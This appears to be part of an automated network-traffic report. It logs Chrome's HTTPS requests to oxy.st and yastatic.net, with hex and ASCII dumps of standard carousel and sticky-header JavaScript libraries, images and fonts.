2024-06-15 09:14:54 UTC	1538	IN	Data Raw: 70 70 65 72 43 6c 61 73 73 4e 61 6d 65 3a 20 27 73 74 69 63 6b 79 2d 77 72 61 70 70 65 72 27 2c 0d 0a 20 20 20 20 20 20 63 65 6e 74 65 72 3a 20 66 61 6c 73 65 2c 0d 0a 20 20 20 20 20 20 67 65 74 57 69 64 74 68 46 72 6f 6d 3a 20 27 27 2c 0d 0a 20 20 20 20 20 20 77 69 64 74 68 46 72 6f 6d 57 72 61 70 70 65 72 3a 20 74 72 75 65 2c 20 2f 2f 20 77 6f 72 6b 73 20 6f 6e 6c 79 20 77 68 65 6e 20 2e 67 65 74 57 69 64 74 68 46 72 6f 6d 20 69 73 20 65 6d 70 74 79 0d 0a 20 20 20 20 20 20 72 65 73 70 6f 6e 73 69 76 65 57 69 64 74 68 3a 20 66 61 6c 73 65 2c 0d 0a 20 20 20 20 20 20 7a 49 6e 64 65 78 3a 20 27 69 6e 68 65 72 69 74 27 0d 0a 20 20 20 20 7d 2c 0d 0a 20 20 20 20 24 77 69 6e 64 6f 77 20 3d 20 24 28 77 69 6e 64 6f 77 29 2c 0d 0a 20 20 20 20 24 64 6f 63 75 6d 65 Data Ascii: pperClassName: 'sticky-wrapper', center: false, getWidthFrom: '', widthFromWrapper: true, // works only when .getWidthFrom is empty responsiveWidth: false, zIndex: 'inherit' }, $window = $(window), $docume
2024-06-15 09:14:54 UTC	16384	IN	Data Raw: 70 53 70 61 63 69 6e 67 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6e 65 77 54 6f 70 20 3d 20 73 2e 74 6f 70 53 70 61 63 69 6e 67 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 69 66 20 28 73 2e 63 75 72 72 65 6e 74 54 6f 70 20 21 3d 3d 20 6e 65 77 54 6f 70 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6e 65 77 57 69 64 74 68 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 73 2e 67 65 74 57 69 64 74 68 46 72 6f 6d 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 20 3d 20 20 73 2e 73 74 69 63 6b 79 45 6c 65 6d 65 6e 74 2e 69 6e 6e 65 72 57 69 64 74 68 28 29 20 2d 20 73 2e 73 74 69 63 6b 79 45 6c 65 6d 65 Data Ascii: pSpacing; } else { newTop = s.topSpacing; } if (s.currentTop !== newTop) { var newWidth; if (s.getWidthFrom) { padding = s.stickyElement.innerWidth() - s.stickyEleme
2024-06-15 09:14:54 UTC	16384	IN	Data Raw: 6d 65 6e 74 73 5b 31 5d 29 2c 6f 2e 68 61 6e 64 6c 65 72 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 29 2c 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 74 2e 65 78 74 65 6e 64 28 7b 7d 2c 6f 2c 7b 65 6c 65 6d 65 6e 74 3a 74 68 69 73 7d 29 3b 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 2e 63 6f 6e 74 65 78 74 26 26 28 6e 2e 63 6f 6e 74 65 78 74 3d 74 28 74 68 69 73 29 2e 63 6c 6f 73 65 73 74 28 6e 2e 63 6f 6e 74 65 78 74 29 5b 30 5d 29 2c 69 2e 70 75 73 68 28 6e 65 77 20 65 28 6e 29 29 7d 29 2c 69 7d 7d 76 61 72 20 65 3d 77 69 6e 64 6f 77 2e 57 61 79 70 6f 69 6e 74 3b 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 26 26 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2e 66 6e 2e 77 61 79 70 6f 69 6e 74 3d 74 28 77 69 6e 64 6f 77 Data Ascii: ments[1]),o.handler=arguments[0]),this.each(function(){var n=t.extend({},o,{element:this});"string"==typeof n.context&&(n.context=t(this).closest(n.context)[0]),i.push(new e(n))}),i}}var e=window.Waypoint;window.jQuery&&(window.jQuery.fn.waypoint=t(window
2024-06-15 09:14:54 UTC	16384	IN	Data Raw: 65 73 54 6f 53 68 6f 77 2a 73 29 2c 6e 2e 73 6c 69 64 65 43 6f 75 6e 74 25 6e 2e 6f 70 74 69 6f 6e 73 2e 73 6c 69 64 65 73 54 6f 53 63 72 6f 6c 6c 21 3d 30 26 26 69 2b 6e 2e 6f 70 74 69 6f 6e 73 2e 73 6c 69 64 65 73 54 6f 53 63 72 6f 6c 6c 3e 6e 2e 73 6c 69 64 65 43 6f 75 6e 74 26 26 6e 2e 73 6c 69 64 65 43 6f 75 6e 74 3e 6e 2e 6f 70 74 69 6f 6e 73 2e 73 6c 69 64 65 73 54 6f 53 68 6f 77 26 26 28 69 3e 6e 2e 73 6c 69 64 65 43 6f 75 6e 74 3f 28 6e 2e 73 6c 69 64 65 4f 66 66 73 65 74 3d 28 6e 2e 6f 70 74 69 6f 6e 73 2e 73 6c 69 64 65 73 54 6f 53 68 6f 77 2d 28 69 2d 6e 2e 73 6c 69 64 65 43 6f 75 6e 74 29 29 2a 6e 2e 73 6c 69 64 65 57 69 64 74 68 2a 2d 31 2c 72 3d 28 6e 2e 6f 70 74 69 6f 6e 73 2e 73 6c 69 64 65 73 54 6f 53 68 6f 77 2d 28 69 2d 6e 2e 73 6c 69 Data Ascii: esToShows),n.slideCount%n.options.slidesToScroll!=0&&i+n.options.slidesToScroll>n.slideCount&&n.slideCount>n.options.slidesToShow&&(i>n.slideCount?(n.slideOffset=(n.options.slidesToShow-(i-n.slideCount))n.slideWidth*-1,r=(n.options.slidesToShow-(i-n.sli
2024-06-15 09:14:54 UTC	16384	IN	Data Raw: 69 6f 6e 22 2c 76 6f 69 64 20 30 3d 3d 3d 65 2e 70 65 72 73 70 65 63 74 69 76 65 50 72 6f 70 65 72 74 79 26 26 76 6f 69 64 20 30 3d 3d 3d 65 2e 77 65 62 6b 69 74 50 65 72 73 70 65 63 74 69 76 65 26 26 28 69 2e 61 6e 69 6d 54 79 70 65 3d 21 31 29 29 2c 76 6f 69 64 20 30 21 3d 3d 65 2e 6d 73 54 72 61 6e 73 66 6f 72 6d 26 26 28 69 2e 61 6e 69 6d 54 79 70 65 3d 22 6d 73 54 72 61 6e 73 66 6f 72 6d 22 2c 69 2e 74 72 61 6e 73 66 6f 72 6d 54 79 70 65 3d 22 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 22 2c 69 2e 74 72 61 6e 73 69 74 69 6f 6e 54 79 70 65 3d 22 6d 73 54 72 61 6e 73 69 74 69 6f 6e 22 2c 76 6f 69 64 20 30 3d 3d 3d 65 2e 6d 73 54 72 61 6e 73 66 6f 72 6d 26 26 28 69 2e 61 6e 69 6d 54 79 70 65 3d 21 31 29 29 2c 76 6f 69 64 20 30 21 3d 3d 65 2e 74 72 61 6e 73 Data Ascii: ion",void 0===e.perspectiveProperty&&void 0===e.webkitPerspective&&(i.animType=!1)),void 0!==e.msTransform&&(i.animType="msTransform",i.transformType="-ms-transform",i.transitionType="msTransition",void 0===e.msTransform&&(i.animType=!1)),void 0!==e.trans
2024-06-15 09:14:54 UTC	16384	IN	Data Raw: 61 63 68 65 29 20 7b 0d 0a 09 09 09 76 61 72 20 77 69 64 74 68 20 3d 20 28 74 68 69 73 2e 77 69 64 74 68 28 29 20 2f 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 69 74 65 6d 73 29 2e 74 6f 46 69 78 65 64 28 33 29 20 2d 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 6d 61 72 67 69 6e 2c 0d 0a 09 09 09 09 6d 65 72 67 65 20 3d 20 6e 75 6c 6c 2c 0d 0a 09 09 09 09 69 74 65 72 61 74 6f 72 20 3d 20 74 68 69 73 2e 5f 69 74 65 6d 73 2e 6c 65 6e 67 74 68 2c 0d 0a 09 09 09 09 67 72 69 64 20 3d 20 21 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 61 75 74 6f 57 69 64 74 68 2c 0d 0a 09 09 09 09 77 69 64 74 68 73 20 3d 20 5b 5d 3b 0d 0a 0d 0a 09 09 09 63 61 63 68 65 2e 69 74 65 6d 73 20 3d 20 7b 0d 0a 09 09 09 09 6d 65 72 67 65 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 09 09 77 69 Data Ascii: ache) {var width = (this.width() / this.settings.items).toFixed(3) - this.settings.margin,merge = null,iterator = this._items.length,grid = !this.settings.autoWidth,widths = [];cache.items = {merge: false,wi
2024-06-15 09:14:54 UTC	16384	IN	Data Raw: 69 78 65 6c 2e 0d 0a 09 20 2a 20 40 70 61 72 61 6d 20 7b 53 74 72 69 6e 67 7d 20 64 69 72 65 63 74 69 6f 6e 20 2d 20 54 68 65 20 64 69 72 65 63 74 69 6f 6e 20 74 6f 20 63 68 65 63 6b 20 66 6f 72 20 74 68 65 20 63 6c 6f 73 65 73 74 20 69 74 65 6d 2e 20 45 74 68 65 72 20 60 6c 65 66 74 60 20 6f 72 20 60 72 69 67 68 74 60 2e 0d 0a 09 20 2a 20 40 72 65 74 75 72 6e 20 7b 4e 75 6d 62 65 72 7d 20 2d 20 54 68 65 20 61 62 73 6f 6c 75 74 65 20 70 6f 73 69 74 69 6f 6e 20 6f 66 20 74 68 65 20 63 6c 6f 73 65 73 74 20 69 74 65 6d 2e 0d 0a 09 20 2a 2f 0d 0a 09 4f 77 6c 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 6f 73 65 73 74 20 3d 20 66 75 6e 63 74 69 6f 6e 28 63 6f 6f 72 64 69 6e 61 74 65 2c 20 64 69 72 65 63 74 69 6f 6e 29 20 7b 0d 0a 09 09 76 61 72 20 70 6f 73 69 74 69 Data Ascii: ixel. * @param {String} direction - The direction to check for the closest item. Ether `left` or `right`. * @return {Number} - The absolute position of the closest item. */Owl.prototype.closest = function(coordinate, direction) {var positi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49731	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:54 UTC	452	OUT	GET /slake/asset/slice_white.png HTTP/1.1 Host: oxy.st Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
2024-06-15 09:14:54 UTC	353	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Sat, 15 Jun 2024 04:13:00 GMT Content-Type: image/png Content-Length: 6078 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT ETag: "5eefbeb2-17be" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 18115 DDG-Cache-Status: HIT
2024-06-15 09:14:54 UTC	6078	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c9 00 00 00 2d 08 06 00 00 00 04 13 4f 91 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 06 62 4b 47 44 00 00 00 00 00 00 f9 43 bb 7f 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 17 22 49 44 41 54 78 da ed 9d 79 9c 14 d5 b5 c7 bf a7 7a 7a 16 66 9f 61 14 11 15 64 55 14 04 95 11 71 8d 1a 50 4c 24 2e 31 06 0d 5b 50 63 12 7d 1a a3 e4 25 71 c9 7b 79 09 2f 10 f2 f2 4c 34 26 12 d0 a8 89 49 54 34 0a 3c dc 41 45 05 05 02 12 45 10 65 80 81 19 66 63 f6 e9 a9 f3 fe b8 b7 9a 9e ea ea 9e 69 16 27 9f 30 bf cf a7 3f fd a9 7b 6f dd ba f7 54 9d 3a eb bd Data Ascii: PNGIHDR-OgAMAa cHRMz&u0`:pQ<bKGDCpHYs~"IDATxyzzfadUqPL$.1[Pc}%q{y/L4&IT4<AEEefci'0?{oT:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49728	178.154.131.217	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:54 UTC	564	OUT	GET /islands/_/KRBKbh7904nwfw8-FzDelXRpZ9o.woff2 HTTP/1.1 Host: yastatic.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://oxy.st sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:54 UTC	752	IN	HTTP/1.1 200 OK Server: nginx/1.17.9 Date: Sat, 15 Jun 2024 09:14:54 GMT Content-Type: application/font-woff2 Content-Length: 43112 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=31556952 Etag: "f8883ab9c4a452a0bfe3c5cf9619db86" Expires: Sun, 15 Jun 2025 15:04:06 GMT Last-Modified: Tue, 22 Jan 2019 17:04:38 GMT NEL: {"report_to": "network-errors", "max_age": 7200, "success_fraction": 0.001, "failure_fraction": 0.01} Report-To: { "group": "network-errors", "max_age": 7200, "endpoints": [ { "url": "https://dr.yandex.net/nel"}]} Strict-Transport-Security: max-age=43200000; includeSubDomains; Timing-Allow-Origin: * Vary: Accept-Encoding X-Nginx-Request-Id: 4d1b9e2d5f3e9810 Accept-Ranges: bytes
2024-06-15 09:14:54 UTC	15632	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 a8 68 00 10 00 00 00 02 03 50 00 00 a8 06 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 ff 20 1c ab 3e 06 60 00 8c 08 08 76 09 82 73 11 0c 0a 84 df 68 84 a0 6f 0b 8b 3c 00 01 36 02 24 03 96 74 04 20 05 8c 13 07 b0 21 0c 89 38 5b 03 dd 91 02 d6 c6 b6 43 aa f7 4b 2c b2 73 b4 b5 2a d4 09 f2 7f ff 05 da 65 9f b0 33 dd 86 b4 86 d9 54 aa 17 9f 7d f1 36 34 f9 dd ad 8a 17 8a e0 0a 65 ff ff ff ff ff 86 64 22 63 76 b9 96 4b d2 22 80 32 44 a7 ea fe ff 07 31 77 0f c8 06 32 11 6a ca e6 26 d3 53 e8 1a c3 71 ea f0 4c 78 58 b9 9b 51 26 a0 49 98 85 2e 2c 32 eb 69 a1 2e 22 9c 9d 5e c4 93 6c 26 cb a7 ed 3c 91 af e1 ed f4 7a f4 cb ed 7e 98 71 b8 bd cf 33 f9 1e dc cc b7 b0 29 38 ae 39 db f9 11 13 9e 26 10 44 a6 37 Data Ascii: wOF2hP >`vsho<6$t !8[CK,s*e3T}64ed"cvK"2D1w2j&SqLxXQ&I.,2i."^l&<z~q3)89&D7
2024-06-15 09:14:54 UTC	16384	IN	Data Raw: a2 41 8c cd ac 03 3c 43 87 bb 44 a6 32 a7 25 e0 e1 be 4b 6d b1 c2 cc 28 0c 18 8a 32 da 41 a0 a7 8f 90 13 db d5 39 7d bd 4b e5 87 33 62 46 70 ea e8 f2 42 8f b8 2d d2 9a 3b a0 61 ba 0d 20 b9 5c 54 ec ba fb 5d 13 6d 85 e8 b1 15 22 2b 2a d9 aa b4 58 4b 21 0f 69 59 37 5d 3d 4d e0 1b d7 c1 b9 ff 46 74 4c 42 b4 32 77 05 ae f3 5b 1c 89 52 8b db 08 1a bc 20 4c d4 ec 38 58 1a 13 79 ec d5 95 3b 91 ad a4 5e aa 92 3d 59 76 86 ce 54 d9 8c 1b c2 ca 2b 7a f4 f4 c2 ca dd 05 51 2e 46 85 c5 12 58 44 17 7a c7 be d5 53 b7 ed 75 e5 40 54 6c 14 41 f1 c8 6b ff ff 64 42 14 70 dc d6 bf 01 06 07 e8 50 1e a4 0b 9f 0f f5 04 f3 d7 77 0c f1 00 ef 74 90 c7 17 65 00 cb 07 21 3c 7b 8a 97 56 21 82 c9 60 86 38 e4 f4 0a 11 22 ea 75 62 9a eb 5f bb ac 69 98 6e ab b0 27 c7 11 4b 40 3a e7 3e 7c Data Ascii: A<CD2%Km(2A9}K3bFpB-;a \T]m"+*XK!iY7]=MFtLB2w[R L8Xy;^=YvT+zQ.FXDzSu@TlAkdBpPwte!<{V!`8"ub_in'K@:>\|
2024-06-15 09:14:54 UTC	11096	IN	Data Raw: 38 a0 36 02 29 2d 34 cf 7a ba 49 0f 5f fd 45 c4 8b b8 f2 9e d5 d9 51 bd 94 9d ac 8d 6d a4 7d 2a b5 03 5e 76 9a 4f 19 5b ba 5d cf 21 31 3e f9 44 f7 7f f7 8a 67 08 6f 11 c8 95 fa ac ab 43 41 35 97 10 42 0c 0b 81 26 41 03 00 c4 36 22 a7 94 ff ae 87 41 5b eb dd d0 e8 b9 da fb 91 b8 6d 22 aa 62 e6 a5 0d aa 55 70 65 44 25 fe 26 8e 66 b7 8d 27 05 bc 21 c0 54 ee cc 87 0c a0 31 56 71 03 4a 53 d7 4a ba 17 c6 c9 e2 2c ca 64 6b ad 24 5e 3e 9a bb 39 fa be e9 04 ea 64 d0 12 c4 d8 e6 8a b8 c3 02 94 39 e4 92 a8 0f ee 24 6b 49 ab 2a 33 6d 1f 17 c8 fa 7d fb 1c b6 0f 4f 03 f2 d6 0a 00 b7 cc ef 52 55 d7 eb 2b 90 7d 6e b3 02 37 56 f3 42 ae e6 ec 68 69 7f 11 b3 e5 8c 63 7a 29 ff 52 f3 a5 30 4e a1 58 40 43 4f 4f 38 10 87 b8 58 74 97 98 89 bd c5 33 7a b5 85 eb 84 b9 a4 df ce 66 Data Ascii: 86)-4zI_EQm}^vO[]!1>DgoCA5B&A6"A[m"bUpeD%&f'!T1VqJSJ,dk$^>9d9$kI3m}ORU+}n7VBhicz)R0NX@COO8Xt3zf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49732	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:54 UTC	443	OUT	GET /images/sprite3.png HTTP/1.1 Host: oxy.st Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
2024-06-15 09:14:54 UTC	353	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Sat, 08 Jun 2024 04:41:41 GMT Content-Type: image/png Content-Length: 2059 Last-Modified: Sun, 27 Mar 2022 20:43:28 GMT ETag: "6240cc70-80b" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 621194 DDG-Cache-Status: HIT
2024-06-15 09:14:54 UTC	2059	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 7c 00 00 00 31 08 06 00 00 00 18 d8 cd 0c 00 00 00 01 73 52 47 42 01 d9 c9 2c 7f 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 07 b0 49 44 41 54 78 9c ed 9a 0b 6c 4f 57 1c c7 51 1d 33 94 90 2e 63 8b 79 5b 8d 04 d9 c6 86 6d 31 61 36 af 3d 34 ea b1 cc 66 b2 c8 2a 52 8f 10 db cc 36 6c f3 8e a0 89 19 35 6f 8d c6 ab 74 d6 52 89 90 d6 f4 a5 2d fd b7 da a6 6f ad 52 04 fd b7 bd fb 9c ba 7f 39 3d fe 7f fd d3 ff dd 3f 99 f3 4d 3e 39 f7 7f ce b9 f7 dc f3 fb de f3 b8 b7 6d d4 48 cb a3 ba 78 f1 e2 90 94 94 94 4d 90 09 77 e0 16 24 91 ff 33 bc aa d6 37 0c 63 24 6c 85 1c b8 03 15 10 0f df 42 37 6f f4 41 cb 0d 61 66 00 84 61 6e 29 18 2e c8 4d 4e 4e 5e 9e 95 95 e5 8f 99 fd 20 1c 6e 18 ae 65 33 Data Ascii: PNGIHDR\|1sRGB,pHYsIDATxlOWQ3.cy[m1a6=4f*R6l5otR-oR9=?M>9mHxMw$37c$lB7oAafan).MNN^ ne3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49727	178.154.131.217	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:54 UTC	564	OUT	GET /islands/_/TR2STky64Ra69XlYzqKN7cnjYfQ.woff2 HTTP/1.1 Host: yastatic.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://oxy.st sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:54 UTC	752	IN	HTTP/1.1 200 OK Server: nginx/1.17.9 Date: Sat, 15 Jun 2024 09:14:54 GMT Content-Type: application/font-woff2 Content-Length: 45100 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=31556952 Etag: "e783c489351712fa80a7cb4206cffd02" Expires: Sun, 15 Jun 2025 15:04:06 GMT Last-Modified: Tue, 22 Jan 2019 17:07:25 GMT NEL: {"report_to": "network-errors", "max_age": 7200, "success_fraction": 0.001, "failure_fraction": 0.01} Report-To: { "group": "network-errors", "max_age": 7200, "endpoints": [ { "url": "https://dr.yandex.net/nel"}]} Strict-Transport-Security: max-age=43200000; includeSubDomains; Timing-Allow-Origin: * Vary: Accept-Encoding X-Nginx-Request-Id: cae49a579787b773 Accept-Ranges: bytes
2024-06-15 09:14:54 UTC	15632	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 b0 2c 00 10 00 00 00 02 08 54 00 00 af cb 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 82 90 00 1c ab 3e 06 60 00 8b 78 08 74 09 82 73 11 0c 0a 84 d9 64 84 9b 26 0b 8b 3c 00 01 36 02 24 03 96 74 04 20 05 8b 77 07 b0 21 0c 89 0e 5b 42 e2 91 04 b2 c9 36 cf 7f c5 aa 88 d2 9b 55 25 7b 0c ee 7a 09 27 d0 71 9b 8e 42 e7 ad 22 d5 63 c2 90 07 d0 db 76 11 20 db 55 31 fb 10 7f cd 99 fd ff ff ff ff bf 20 99 8c b1 6e 43 6f 30 40 0d 4d b5 aa f2 bf 40 cd cc 54 43 4c 11 9e 73 2e a5 0e 48 ce 34 ba 4f 8e 3c 8a 9c 98 50 8a e3 92 5a d4 6c c6 b2 24 19 d9 ae 26 73 5a 51 b7 1d 17 57 49 d3 cc 4c db 2c 77 76 dc ee c3 24 1f fd cd 6d 49 8d e2 d9 bb 55 5d 8f 54 28 08 43 5a 2b 2a 12 1e b5 be de af 4f f1 e9 f3 68 2e 0a 5a 45 Data Ascii: wOF2,T>`xtsd&<6$t w![B6U%{z'qB"cv U1 nCo0@M@TCLs.H4O<PZl$&sZQWIL,wv$mIU]T(CZ+*Oh.ZE
2024-06-15 09:14:54 UTC	16384	IN	Data Raw: ee 93 7e da 33 7a db 8e af ac f6 fe bb da 9a ff 22 ad 87 1a 03 de 7b 14 b9 42 7f a2 45 a2 47 fb c8 09 5b 57 c7 5f 3c 61 35 92 2c 26 64 03 2d 07 1c 65 5e cc 6d 11 da f3 0e e3 6e cf c6 83 f6 0c c2 de f3 5e 73 05 fd f2 d7 b1 78 d7 c8 60 da 6a e1 ad 36 b6 08 65 bf da 1f a7 1b bd f6 b2 ba 5d 6b cf 09 26 22 11 0f bf d1 66 ee d2 5c 08 cf 36 a8 fb 98 8d 1b d5 6c 2f 66 9c 8f 3d af 1b 12 0f b1 a1 6b 25 58 8c 29 a4 86 d7 0e 31 c9 76 17 4a 1c 53 51 53 f2 bd 28 13 26 9d dc 2f 8a d0 8e aa 9d 0a 6b ba 1c 71 b1 e4 23 a6 fe d3 b1 93 36 9b 5c 96 c2 40 dd 43 4e 43 7e dd e1 45 57 f5 41 03 06 03 de 4d 36 c9 f8 9c 3d 8c a5 a0 d1 88 a5 b1 46 e8 a8 3e 0b 40 7a ba ab e9 b7 33 52 58 8a c1 96 be af 4b 2e 66 ae e5 9c 43 c7 88 23 d8 e2 ed 1c 19 b1 e7 be 4c 7c 68 7e 6f c2 54 55 32 36 Data Ascii: ~3z"{BEG[W_<a5,&d-e^mn^sx`j6e]k&"f\6l/f=k%X)1vJSQS(&/kq#6\@CNC~EWAM6=F>@z3RXK.fC#L\|h~oTU26
2024-06-15 09:14:54 UTC	13084	IN	Data Raw: 53 76 24 c6 29 78 75 a6 21 2f 4b 65 e1 eb 44 96 c7 55 65 cb 6e 88 a2 2b fa d6 29 54 f1 82 4b 52 43 a2 a8 60 46 37 6a c7 ac 85 16 05 eb f5 99 86 22 60 71 e5 36 dc b2 3c 70 94 12 18 f7 6a aa 68 89 9e 74 53 1e 75 12 58 6e e9 a7 70 d6 49 bc fb f3 d4 56 8c 06 b0 fd fb be aa 31 12 71 ee af 87 0a 36 d2 eb c6 bb b9 8b cc ce 1a 8e ee d5 45 6b 64 98 a3 ae 36 32 da d2 61 a5 4a 84 25 8e 28 a1 76 5a bc 91 86 f6 30 14 57 e0 01 8d e8 60 5d 34 71 f8 b5 59 f7 fa ee 2d 8c d6 cd 37 b7 00 6a 34 6d cb 42 29 21 42 c4 f7 28 61 fe b4 78 23 0d ed 7b 6d 71 05 1e d0 88 0e 2e 8c 26 0e df 9b 35 c7 dd 3b 72 91 36 6d d4 b1 d2 3d 4a 38 b2 a0 c5 1b 57 43 7b 4b 17 d7 82 07 34 a2 83 47 0e 34 71 f8 8e fa bb b0 3d 8d 10 a6 3e 5b 18 16 c8 15 27 0b f3 88 ce 3b d7 30 a2 4b 4e ce 9d f3 8f 3b 05 Data Ascii: Sv$)xu!/KeDUen+)TKRC`F7j"`q6<pjhtSuXnpIV1q6Ekd62aJ%(vZ0W`]4qY-7j4mB)!B(ax#{mq.&5;r6m=J8WC{K4G4q=>[';0KN;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49733	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:54 UTC	620	OUT	GET /slake/asset/js/main.js HTTP/1.1 Host: oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oxy.st/d/SmUh Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
2024-06-15 09:14:54 UTC	390	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Thu, 06 Jun 2024 00:32:06 GMT Content-Type: application/javascript Content-Length: 8720 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT Vary: Accept-Encoding ETag: "5eefbeb2-2210" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 808969 DDG-Cache-Status: HIT
